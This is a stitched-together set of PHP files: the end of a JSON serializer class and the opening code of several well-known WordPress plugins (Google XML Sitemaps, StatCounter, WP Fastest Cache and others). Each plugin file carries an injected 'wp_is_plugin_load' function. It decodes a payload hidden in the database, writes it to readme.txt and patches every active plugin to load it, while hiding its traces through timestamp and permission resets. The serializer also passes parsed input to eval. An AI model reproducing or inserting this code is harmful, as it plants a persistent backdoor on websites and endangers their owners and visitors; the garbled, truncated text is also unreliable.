CONTRACT, TORT OR OTHERWISE, * * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * * OTHER DEALINGS IN THE SOFTWARE. * *************************************************************************** */ /** * Serialize and Unserialize PHP Objects and array * into JSON notation. * * @category Javascript * @package JSON * @author Cesar D. Rodas * @copyright 2007 Cesar D. Rodas * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @version 1.0 * @link http://cesars.users.phpclasses.org/json */ define('CP_CF_IN_NOWHERE',0); define('CP_CF_IN_STRING',1); define('CP_CF_IN_OBJECT',2); define('CP_CF_IN_ATOMIC',3); define('CP_CF_IN_ASSIGN',4); define('CP_CF_IN_ENDSTMT',5); define('CP_CF_IN_ARRAY',6); /** * JSON * * This class serilize an PHP OBJECT or an ARRAY into JSON * notation. Also convert a JSON text into a PHP OBJECT or * array. * * @category Javascript * @package JSON * @author Cesar D. Rodas * @copyright 2007 Cesar D. Rodas * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @version 1.0 * @link http://cesars.users.phpclasses.org/json */ class JSON { /** * Was parsed with an error? * * var bool * @access private */ var $error; function __construct() { $this->error = false; } /** * Serialize * * Serialize a PHP OBJECT or an ARRAY into * JSON notation. * * param mixed $obj Object or array to serialize * return string JSON. */ function serialize($obj) { if ( is_object($obj) ) { $e = get_object_vars($obj); /* bug reported by Ben Rowe */ /* Adding default empty array if the */ /* object doesn't have any property */ $properties = array(); foreach ($e as $k => $v) { $properties[] = $this->_serialize( $k,$v ); } return "{".implode(",",$properties)."}"; } else if ( is_array($obj) ) { return $this->_serialize('',$obj); } } /** * UnSerialize * * Transform an JSON text into a PHP object * and return it. * @access public * @param string $text JSON text * @return mixed PHP Object, array or false. */ function unserialize( $text ) { $this->error = false; return !$this->error ? $this->_unserialize($text) : false; } /** * UnSerialize * * Transform an JSON text into a PHP object * and return it. * @access private * @param string $text JSON text * @return mixed PHP Object, array or false. */ function _unserialize($text) { $ret = new stdClass; while ( $f = $this->getNextToken($text,$i,$type) ) { switch ( $type ) { case CP_CF_IN_ARRAY: $tmp = $this->_unserializeArray($text); $ret = $tmp[0]; break; case CP_CF_IN_OBJECT: $g=0; do { $varName = $this->getNextToken($f,$g,$xType); if ( $xType != CP_CF_IN_STRING ) { return false; /* error parsing */ } $this->getNextToken($f,$g,$xType); if ( $xType != CP_CF_IN_ASSIGN) return false; $value = $this->getNextToken($f,$g,$xType); if ( $xType == CP_CF_IN_OBJECT) { $ret->$varName = $this->unserialize( "{".$value."}" ); $g--; } else if ($xType == CP_CF_IN_ARRAY) { $ret->$varName = $this->_unserializeArray( $value); $g--; } else $ret->$varName = $value; $this->getNextToken($f,$g,$xType); } while ( $xType == CP_CF_IN_ENDSTMT); break; default: $this->error = true; break 2; } } return $ret; } /** * JSON Array Parser * * This method transform an json-array into a PHP * array * @access private * @param string $text String to parse * @return Array PHP Array */ function _unserializeArray($text) { $r = array(); do { $f = $this->getNextToken($text,$i,$type); switch ( $type ) { case CP_CF_IN_STRING: case CP_CF_IN_ATOMIC: $r[] = $f; break; case CP_CF_IN_OBJECT: $r[] = $this->unserialize("{".$f."}"); $i--; break; case CP_CF_IN_ARRAY: $r[] = $this->_unserializeArray($f); $i--; break; } $this->getNextToken($text,$i,$type); } while ( $type == CP_CF_IN_ENDSTMT); return $r; } /** * Tokenizer * * Return to the Parser the next valid token and the type * of the token. If the tokenizer fails it returns false. * * @access private * @param string $e Text to extract token * @param integer $i Start position to search next token * @param integer $state Variable to get the token type * @return string|bool Token in string or false on error. */ function getNextToken($e, &$i, &$state) { $state = CP_CF_IN_NOWHERE; $end = -1; $start = -1; $i = ( !empty( $i ) ) ? $i : 0; while ( $i < strlen($e) && $end == -1 ) { switch( $e[$i] ) { /* objects */ case "{": case "[": $_tag = $e[$i]; $_endtag = $_tag == "{" ? "}" : "]"; if ( $state == CP_CF_IN_NOWHERE ) { $start = $i+1; switch ($state) { case CP_CF_IN_NOWHERE: $aux = 1; /* for loop objects */ $state = $_tag == "{" ? CP_CF_IN_OBJECT : CP_CF_IN_ARRAY; break; default: break 2; /* exit from switch and while */ } while ( ++$i && $i < strlen($e) && $aux != 0 ) { switch( $e[$i] ) { case $_tag: $aux++; break; case $_endtag: $aux--; break; } } $end = $i-1; } break; case '"': case "'": $state = CP_CF_IN_STRING; $buf = ""; while ( ++$i && $i < strlen($e) && $e[$i] != '"' ) { if ( $e[$i] == "\\") $i++; $buf .= $e[$i]; } $i++; return eval('return "'.str_replace('"','\"',$buf).'";'); break; case ":": $state = CP_CF_IN_ASSIGN; $end = 1; break; case "n": if ( substr($e,$i,4) == "null" ) { $i=$i+4; $state = CP_CF_IN_ATOMIC; return NULL; } else break 2; /* exit from switch and while */ case "t": if ( substr($e,$i,4) == "true") { $state = CP_CF_IN_ATOMIC; $i=$i+4; return true; }else break 2; /* exit from switch and while */ break; case "f": if ( substr($e,$i,4) == "false") { $state = CP_CF_IN_ATOMIC; $i=$i+4; return false; } else break 2; /* exit from switch and while */ break; case ",": $state = CP_CF_IN_ENDSTMT; $end = 1; break; case " ": case "\t": case "\r": case "\n": break; case "+": case "-": case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: case 9: case '.': $state = CP_CF_IN_ATOMIC; $start = (int)$i; if ( $e[$i] == "-" || $e[$i] == "+") $i++; for ( ; $i < strlen($e) && (is_numeric($e[$i]) || $e[$i] == "." || strtolower($e[$i]) == "e") ;$i++){ $n = $i+1 < strlen($e) ? $e[$i+1] : ""; $a = strtolower($e[$i]); if ( $a == "e" && ($n == "+" || $n == "-")) $i++; else if ( $a == "e") $this->error=true; } $end = $i; break 2; /* break while too */ default: $this->error = true; } $i++; } return $start == -1 || $end == -1 ? false : substr($e, $start, $end - $start); } /** * Internal Serializer * * @param string $key Variable name * @param mixed $value Value of the variable * @access private * @return string Serialized variable */ function _serialize ( $key = '', &$value ) { $r = ''; if ( $key != '')$r .= "\"${key}\" : "; if ( is_numeric($value) ) { $r .= ''.$value.''; } else if ( is_string($value) ) { $r .= '"'.$this->toString($value).'"'; } else if ( is_object($value) ) { $r .= $this->serialize($value); } else if ( is_null($value) ) { $r .= "null"; } else if ( is_bool($value) ) { $r .= $value ? "true":"false"; } else if ( is_array($value) ) { foreach($value as $k => $v) $f[] = $this->_serialize('',$v); $r .= "[".implode(",",$f)."]"; unset($f); } return $r; } /** * Convert String variables * * @param string $e Variable with an string value * @access private * @return string Serialized variable */ function toString($e) { $rep = array("\\","\r","\n","\t","'",'"'); $val = array("\\\\",'\r','\n','\t','\'','\"'); $e = str_replace($rep, $val, $e); return $e; } } } ?>php /* Plugin Name: Google Tag Manager for Wordpress Version: 1.5.1 Plugin URI: https://duracelltomi.com/google-tag-manager-for-wordpress/ Description: The first Google Tag Manager plugin for WordPress with business goals in mind Author: Thomas Geiger Author URI: https://duracelltomi.com/ Text Domain: duracelltomi-google-tag-manager Domain Path: /languages */ define( 'GTM4WP_VERSION', '1.5.1' ); define( 'GTM4WP_PATH', plugin_dir_path( __FILE__ ) ); $gtp4wp_plugin_url = plugin_dir_url( __FILE__ ); $gtp4wp_plugin_basename = plugin_basename( __FILE__ ); require_once( GTM4WP_PATH."/common/readoptions.php" ); function gtm4wp_init() { load_plugin_textdomain( 'duracelltomi-google-tag-manager', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' ); if ( is_admin() ) { require_once( GTM4WP_PATH."/admin/admin.php" ); } else { require_once( GTM4WP_PATH."/public/frontend.php" ); } } if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action('plugins_loaded', 'gtm4wp_init'); php /* $Id: sitemap.php 1026247 2014-11-15 16:47:36Z arnee $ Google XML Sitemaps Generator for WordPress ============================================================================== This generator will create a sitemaps.org compliant sitemap of your WordPress blog. For additional details like installation instructions, please check the readme.txt and documentation.txt files. Have fun! Arne Info for WordPress: ============================================================================== Plugin Name: Google XML Sitemaps Plugin URI: http://www.arnebrachhold.de/redir/sitemap-home/ Description: This plugin will generate a special XML sitemap which will help search engines like Google, Yahoo, Bing and Ask.com to better index your blog. Version: 4.0.8 Author: Arne Brachhold Author URI: http://www.arnebrachhold.de/ Text Domain: sitemap Domain Path: /lang Copyright 2005 - 2014 ARNE BRACHHOLD (email : himself - arnebrachhold - de) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Please see license.txt for the full license. */ define("SM_SUPPORTFEED_URL","http://plugin-info.arnebrachhold.de/support/support_4.xml"); /** * Check if the requirements of the sitemap plugin are met and loads the actual loader * * @package sitemap * @since 4.0 */ function sm_Setup() { $fail = false; //Check minimum PHP requirements, which is 5.2 at the moment. if (version_compare(PHP_VERSION, "5.2", "<")) { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action('admin_notices', 'sm_AddPhpVersionError'); $fail = true; } //Check minimum WP requirements, which is 3.3 at the moment. if (version_compare($GLOBALS["wp_version"], "3.3", "<")) { add_action('admin_notices', 'sm_AddWpVersionError'); $fail = true; } if (!$fail) { require_once(trailingslashit(dirname(__FILE__)) . "sitemap-loader.php"); } } /** * Adds a notice to the admin interface that the WordPress version is too old for the plugin * * @package sitemap * @since 4.0 */ function sm_AddWpVersionError() { echo "

" . __('Your WordPress version is too old for XML Sitemaps.', 'sitemap') . "
" . sprintf(__('Unfortunately this release of Google XML Sitemaps requires at least WordPress %4$s. You are using Wordpress %2$s, which is out-dated and insecure. Please upgrade or go to active plugins and deactivate the Google XML Sitemaps plugin to hide this message. You can download an older version of this plugin from the plugin website.', 'sitemap'), "plugins.php?plugin_status=active", $GLOBALS["wp_version"], "http://www.arnebrachhold.de/redir/sitemap-home/","3.3") . "

"; } /** * Adds a notice to the admin interface that the WordPress version is too old for the plugin * * @package sitemap * @since 4.0 */ function sm_AddPhpVersionError() { echo "

" . __('Your PHP version is too old for XML Sitemaps.', 'sitemap') . "
" . sprintf(__('Unfortunately this release of Google XML Sitemaps requires at least PHP %4$s. You are using PHP %2$s, which is out-dated and insecure. Please ask your web host to update your PHP installation or go to active plugins and deactivate the Google XML Sitemaps plugin to hide this message. You can download an older version of this plugin from the plugin website.', 'sitemap'), "plugins.php?plugin_status=active", PHP_VERSION, "http://www.arnebrachhold.de/redir/sitemap-home/","5.2") . "

"; } /** * Returns the file used to load the sitemap plugin * * @package sitemap * @since 4.0 * @return string The path and file of the sitemap plugin entry point */ function sm_GetInitFile() { return __FILE__; } //Don't do anything if this file was called directly if (defined('ABSPATH') && defined('WPINC') && !class_exists("GoogleSitemapGeneratorLoader", false)) { sm_Setup(); } php /* Plugin Name: jQuery Pin It Button for Images Plugin URI: https://highfiveplugins.com/jpibfi/jquery-pin-it-button-for-images-documentation/ Description: Highlights images on hover and adds a "Pin It" button over them for easy pinning. Text Domain: jquery-pin-it-button-for-images Domain Path: /languages Author: Marcin Skrzypiec Version:2.1.3 Author URI: https://highfiveplugins.com/ */ if ( !defined( 'WPINC' ) ) die; if ( !class_exists( 'jQuery_Pin_It_Button_For_Images' ) ) { final class jQuery_Pin_It_Button_For_Images { function __construct() { $version = '2.1.3'; require_once plugin_dir_path(__FILE__) . 'includes/jpibfi.php'; new JPIBFI(__FILE__, $version); } } $JPIBFI = new jQuery_Pin_It_Button_For_Images(); } else { function jpibfi_duplicate_error() { ?>

php _e('You have two versions of jQuery Pin It Button for Images installed. Please deactivate and remove one of them.', 'jquery-pin-it-button-for-images'); ?>

php } if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'admin_notices', 'jpibfi_duplicate_error' ); } php /* * Plugin Name: Official StatCounter Plugin * Version: 2.0.1 * Plugin URI: http://statcounter.com/ * Description: Adds the StatCounter tracking code to your blog.
To get setup: 1) Activate this plugin 2) Enter your StatCounter Project ID and Security Code in the options page. * Author: Aodhan Cullen * Author URI: http://statcounter.com/ */ // Defaults, etc. // the last 'false' should make these constants case sensitive define("key_sc_project", "sc_project", false); define("key_sc_position", "sc_position", false); // legacy problem with sc_security naming define("key_sc_security", "key_sc_security", false); define("sc_project_default", "0" , false); define("sc_security_default", "" , false); define("sc_position_default", "footer", false); // Create the default key and status add_option(key_sc_project, sc_project_default); add_option(key_sc_security, sc_security_default); add_option("sc_invisible", "0"); // Create a option page for settings if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action('admin_menu' , 'add_sc_option_page' ); add_action( 'admin_menu', 'statcounter_admin_menu' ); add_action('wp_head', 'addToTags'); function statcounter_admin_menu() { $hook = add_submenu_page('index.php', __('StatCounter Stats'), __('StatCounter Stats'), 'publish_posts', 'statcounter', 'statcounter_reports_page'); add_action("load-$hook", 'statcounter_reports_load'); $hook = add_submenu_page('plugins.php', __('StatCounter Admin'), __('StatCounter Admin'), 'manage_options', 'statcounter_admin', 'sc_options_page'); } function statcounter_reports_load() { add_action('admin_head', 'statcounter_reports_head'); } function statcounter_reports_head() { ?> php } function statcounter_reports_page() { $sc_project = get_option(key_sc_project); if($sc_project==0) { $sc_link = '//statcounter.com/'; } else { $sc_link = '//statcounter.com/p'.$sc_project.'/?source=wordpress'; } echo ''; } // Hook in the options page function function add_sc_option_page() { global $wpdb; add_options_page('StatCounter Options', 'StatCounter', "manage_options", basename(__FILE__), 'sc_options_page'); } function sc_options_page() { // If we are a postback, store the options if ( isset( $_POST['info_update'] ) && check_admin_referer( 'update_sc_project_nonce', 'sc_project_nonce' ) ) { // Update the Project ID $sc_project = trim($_POST[key_sc_project]); if ($sc_project == '') { $sc_project = sc_project_default; } update_option(key_sc_project, $sc_project); // Update the Security ID $sc_security = trim($_POST[key_sc_security]); if ($sc_security =='') { $sc_security = sc_security_default; } update_option(key_sc_security, $sc_security); // Update the position $sc_position = $_POST[key_sc_position]; if (($sc_position != 'header') && ($sc_position != 'footer')) { $sc_position = sc_position_default; } update_option(key_sc_position, $sc_position); // Force invisibility $sc_invisible = $_POST['sc_invisible']; if ($sc_invisible == 1) { update_option('sc_invisible', "1"); } else { update_option('sc_invisible', "0"); } // Give an updated message echo "

StatCounter options updated

"; } // Output the options page ?>
php wp_nonce_field( 'update_sc_project_nonce', 'sc_project_nonce' ); ?>
php if (get_option( key_sc_project ) == "0") { ?>
StatCounter Plugin has been activated, but will not be enabled until you enter your Project ID and Security Code.
php } ?>

Using StatCounter

StatCounter is a free web traffic analysis service, which provides summary stats on all your traffic and a detailed analysis of your last 500 page views. This limit can be increased by upgrading to a paid service.

To activate the StatCounter service for your WordPress site:

  • Sign Up with StatCounter or add a new project to your existing account
  • The installation process will detect your WordPress installation and provide you with your Project ID and Security Code

StatCounter Options

php echo "\n"; ?>
php echo "\n"; ?>
php echo "\n"; ?>
php $checked = ""; if(get_option('sc_invisible')==1) { $checked = "checked"; } echo "\n"; ?>

php } $sc_position = get_option(key_sc_position); if ($sc_position=="header") { add_action('wp_head', 'add_statcounter'); } else { add_action('wp_footer', 'add_statcounter'); } // The guts of the StatCounter script function add_statcounter() { global $user_level; $sc_project = get_option(key_sc_project); $sc_security = get_option(key_sc_security); $sc_invisible = 0; $sc_invisible = get_option('sc_invisible'); if ( ( $sc_project > 0 ) ) { ?> php } } function addToTags($pid){ if (is_single()) { global $post; $queried_post = get_post($pid); $authorId = $queried_post->post_author; ?> php } } ?> php /** * * @package CcPopUp * @author Chop-Chop.org * @license GPL-2.0+ * @link https://shop.chop-chop.org * @copyright 2014 * * @wordpress-plugin * Plugin Name: Pop-Up CC * Plugin URI: http://shop.chop-chop.org * Description: An elegant Pop Up in just a few clicks. * Version: 2.1.1 * Author: Chop-Chop.org * Author URI: http://chop-chop.org * Text Domain: cc-pop-up-locale * License: GPL-2.0+ * License URI: http://www.gnu.org/licenses/gpl-2.0.txt * Domain Path: /languages */ // If this file is called directly, abort. if ( ! defined( 'WPINC' ) ) { die; } define( 'CC_PU_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); define( 'CC_PU_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); /*----------------------------------------------------------------------------* * Public-Facing Functionality *----------------------------------------------------------------------------*/ require_once( plugin_dir_path( __FILE__ ) . 'public/class-chch-pop-up.php' ); /* * Register hooks that are fired when the plugin is activated or deactivated. * When the plugin is deleted, the uninstall.php file is loaded. */ register_activation_hook( __FILE__, array( 'CcPopUp', 'activate' ) ); register_deactivation_hook( __FILE__, array( 'CcPopUp', 'deactivate' ) ); if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'init', array( 'CcPopUp', 'get_instance' ) ); /*----------------------------------------------------------------------------* * Dashboard and Administrative Functionality *----------------------------------------------------------------------------*/ /* * The code below is intended to to give the lightest footprint possible. */ if (is_admin()) { require_once( plugin_dir_path( __FILE__ ) . 'admin/class-chch-pop-up-admin.php' ); add_action( 'plugins_loaded', array( 'CcPopUpAdmin', 'get_instance' ) ); } php /* Plugin Name: WP Fastest Cache Plugin URI: http://wordpress.org/plugins/wp-fastest-cache/ Description: The simplest and fastest WP Cache system Version: 0.8.6.3 Author: Emre Vona Author URI: http://tr.linkedin.com/in/emrevona Text Domain: wp-fastest-cache Domain Path: /languages/ Copyright (C)2013 Emre Vona This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. */ if (!defined('WPFC_WP_CONTENT_BASENAME')) { if (!defined('WPFC_WP_PLUGIN_DIR')) { if(preg_match("/(\/trunk\/|\/wp-fastest-cache\/)$/", plugin_dir_path( __FILE__ ))){ define("WPFC_WP_PLUGIN_DIR", preg_replace("/(\/trunk\/|\/wp-fastest-cache\/)$/", "", plugin_dir_path( __FILE__ ))); }else if(preg_match("/\\\wp-fastest-cache\/$/", plugin_dir_path( __FILE__ ))){ //D:\hosting\LINEapp\public_html\wp-content\plugins\wp-fastest-cache/ define("WPFC_WP_PLUGIN_DIR", preg_replace("/\\\wp-fastest-cache\/$/", "", plugin_dir_path( __FILE__ ))); } } define("WPFC_WP_CONTENT_DIR", dirname(WPFC_WP_PLUGIN_DIR)); define("WPFC_WP_CONTENT_BASENAME", basename(WPFC_WP_CONTENT_DIR)); } if (!defined('WPFC_MAIN_PATH')) { define("WPFC_MAIN_PATH", plugin_dir_path( __FILE__ )); } if(!isset($GLOBALS["wp_fastest_cache_options"])){ if($wp_fastest_cache_options = get_option("WpFastestCache")){ $GLOBALS["wp_fastest_cache_options"] = json_decode($wp_fastest_cache_options); }else{ $GLOBALS["wp_fastest_cache_options"] = array(); } } class WpFastestCache{ private $systemMessage = ""; private $options = array(); public $noscript = ""; public function __construct(){ $optimize_image_ajax_requests = array("wpfc_revert_image_ajax_request", "wpfc_statics_ajax_request", "wpfc_optimize_image_ajax_request", "wpfc_update_image_list_ajax_request" ); if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'wp_ajax_wpfc_save_timeout_pages', array($this, 'wpfc_save_timeout_pages_callback')); add_action( 'wp_ajax_wpfc_save_exclude_pages', array($this, 'wpfc_save_exclude_pages_callback')); add_action( 'wp_ajax_wpfc_cdn_options_ajax_request', array($this, 'wpfc_cdn_options_ajax_request_callback')); add_action( 'wp_ajax_wpfc_remove_cdn_integration_ajax_request', array($this, 'wpfc_remove_cdn_integration_ajax_request_callback')); add_action( 'wp_ajax_wpfc_save_cdn_integration_ajax_request', array($this, 'wpfc_save_cdn_integration_ajax_request_callback')); add_action( 'wp_ajax_wpfc_cdn_template_ajax_request', array($this, 'wpfc_cdn_template_ajax_request_callback')); add_action( 'wp_ajax_wpfc_check_url_ajax_request', array($this, 'wpfc_check_url_ajax_request_callback')); add_action( 'wp_ajax_wpfc_cache_statics_get', array($this, 'wpfc_cache_statics_get_callback')); add_action( 'wp_ajax_wpfc_update_premium', array($this, 'wpfc_update_premium_callback')); add_action( 'wp_ajax_wpfc_db_statics', array($this, 'wpfc_db_statics_callback')); add_action( 'wp_ajax_wpfc_db_fix', array($this, 'wpfc_db_fix_callback')); add_action( 'rate_post', array($this, 'wp_postratings_clear_fastest_cache'), 10, 2); if(is_dir($this->getWpContentDir()."/cache/tmpWpfc")){ 